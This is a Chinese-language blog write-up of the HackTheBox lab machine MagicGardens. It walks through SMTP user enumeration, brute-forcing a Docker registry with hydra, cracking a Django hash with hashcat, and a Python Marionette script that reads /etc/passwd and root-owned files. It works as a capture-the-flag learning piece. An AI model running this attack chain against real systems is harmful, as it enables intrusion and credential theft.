freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

HACK THE BOX HTB——Season 5 Week 5 MagicGardens Writeup
A1ertx5s 2024-05-21 13:31:23 169362

Season 5 Week 5 - MagicGardens

image

无废话总结版本

  • 通过 VRFY 的方式爆破 SMTP 服务,获得用户名 alex

  • 通过对 Docker register 服务登录的爆破,获得 alex 用户的口令

  • docker 私有仓库中,有 80 端口 web 服务的镜像, pull 下来运行,可以在容器中发现db.sqlite3文件

  • db.sqlite3 中包含 morty 用户的密码 hash 值,使用 hashcat 进行爆破,获得口令

  • 查看运行服务,以及端口,发现firefox 相关 remote debug 服务,使用 Python marionette_driver 库进行连接,操作远程的 firefox 浏览器

  • 访问本地文件,同时获得 user flag 和 root flag

初期信息收集

先使用 nmap 扫描一下。

nmap -sS -p- 10.10.11.9

可以得到开放端口:22, 25, 80, 1337, 5000 。

进一步扫描端口的指纹,查看端口的服务及其版本。

nmap -sV -p 22,25,80,1337,5000 10.10.11.9

得到的结果:

$ sudo nmap -sV -p 22,25,80,1337,5000 10.10.11.9
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-21 11:40 CST
Nmap scan report for *.magicgardens.htb (10.10.11.9)
Host is up (0.25s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.22.1
1337/tcp open  waste?
5000/tcp open  ssl/http Docker Registry (API: 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94%I=7%D=5/21%Time=664C17CA%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[x\]
SF:\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x20er
SF:ror\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCChec
SF:k,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\[x\
SF:]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Termi
SF:nalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")%r(
SF:LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15,"\
SF:[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake\x2
SF:0error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%r(N
SF:CP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r(ms
SF:-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Handsha
SF:ke\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: Host:  magicgardens.magicgardens.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.92 seconds

服务信息获取,其中 1337 端口未知,估计是自己写的服务。

爆破 SMTP 服务, 获得用户名

对 smtp 服务进行用户名的信息收集,这里使用 smtp-user-enum , 如果 kali 没有,可以直接 apt 下载。

sudo smtp-user-enum -M VRFY -U /usr/share/wordlists/user/username.txt -t 10.10.11.9

这里字典是 github 上找的 https://github.com/rootphantomer/Blasting_dictionary/blob/master/%E5%B8%B8%E7%94%A8%E7%94%A8%E6%88%B7%E5%90%8D.txt

结果:(这里第二遍做,偷个懒,user.txt里面就放了alex)

image

爆破 docker registry 服务,获得私有仓库口令

这里使用 hydra 进行爆破,hydra 本事没有直接的 docker 模块,这里使用 https-get

hydra -l alex -p /usr/share/wordlists/rockyou.txt 10.10.11.9 -s 5000 https-get /v2/

结果:

image

获得 password:diamonds

尝试之下只能打开 docker registry。

收集私有仓库信息

浏览器访问https://10.10.11.9:5000/v2/_catalog获取私有仓库的镜像列表。

image

可以得知,有个镜像名为magicgardens,htb,该镜像与 80 端口服务同名,应该 80 服务的对应镜像。

访问https://10.10.11.9:5000/v2/magicgardens.htb/tags/list, 获取镜像标签

image

可知只有一个标签1.3

拉取镜像,运行容器,获得 password hash

使用docker login 10.10.11.9:5000 -u alex -p diamonds登录私有仓库

image

使用docker pull 10.10.11.9:5000/magicgardens.htb:1.3拉取镜像,这里需要等待一段时间,因为已经 pull 过了,这里就没有过程了。

image

使用docker run -p 8888:80 -itd 10.10.11.9:5000/magicgardens.htb:1.3运行容器。

然后使用docker ps查看容器id

image

使用docker exec -it <container:id> bash进入容器内部。

image

可以确定,确实是 80 端口服务,其中还有 sqlite3 的数据库。

我们退出容器,或者打开一个新的终端,使用docker cp d70e:/usr/src/app ./将 web 服务的文件复制到宿主机上。(d70e换成自己的容器id)

image

查看 db.sqlite3 文件,发现hash值。

image

hashcat 破解 hash 值

这里 hash 的类型是Django (PBKDF2-SHA256)查看可知编号为 10000.

.\hashcat.exe -a 0 -m 10000 .\hashfile\week5-2.txt .\wordlist\rockyou.txt

image

获得用户 morty 的口令为 jonasbrothers。

SSH 登录,新一轮的信息收集

使用 morty:jonasbrothers 登录,进入主机终端。

使用ps aux获取运行终端,使用netstat -nulte获取服务运行端口。

image

image

这里的端口这些,在启动时是给的随机的,是会变化的。

使用 chisel 打隧道,把127.0.0.1的几个端口映射出来,这里不赘述,互联网上很多文章。

这里可能的漏洞点是 firefox 开启了远程调节,估计还存在一个 geckodriver 服务之类的。

我们访问几个端口,若返回为50:{"applicationType":"gecko","marionetteProtocol":3}可以确定为 geckodriver 服务端口,我这里是45525端口。

远程控制 firefox 访问本地文件,获取 flag

根据前面ps aux获得的信息,使用的是 marionette 协议,这里可以使用 python 的 marionette_driver 库进行连接,控制 firefox .

贴上代码:

from marionette_driver.marionette import Marionette

# 创建一个Marionette实例
client = Marionette('127.0.0.1', port=45525)

# 启动会话
client.start_session()

# 访问百度或文件
client.navigate('https://www.baidu.com')

# 获取页面内容
print(client.page_source)

# 关闭会话
client.delete_session()

这里的client.navigate('https://www.baidu.com')可以修改为你想访问的网站和文件,咱们先尝试访问本地服务 127.0.0.1:8000.

执行代码:

client.navigate('http://127.0.0.1:8000')

image

成功访问到本地的 nginx 服务。

执行代码:

client.navigate('file:///etc/passwd')

image

成功获取本地文件 /etc/passwd。

执行代码:

client.navigate('file:///root/root.txt')

image

成功获取 root flag

执行代码:

client.navigate('file:///home/alex/user.txt')

image

成功获取 user flag

总结

感觉是非预期解,其中还有服务没有用到,比如 1337 端口的那个未知服务,其实 down 下来研究过,放到 ida 中,可以看到是个抓包程序,估计是存在缓冲区溢出的东西,但是这方面比较薄弱,没有去深究。

image

# 渗透测试 # web安全 # CTF # HackTheBox # HTB渗透
本文为 A1ertx5s 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
hackthebox season5 Writeup
A1ertx5s LV.2
LOADING
  • 2 文章数
  • 4 关注者
HACK THE BOX HTB - Season 5 Week 1 Runner Writeup
2024-04-28
文章目录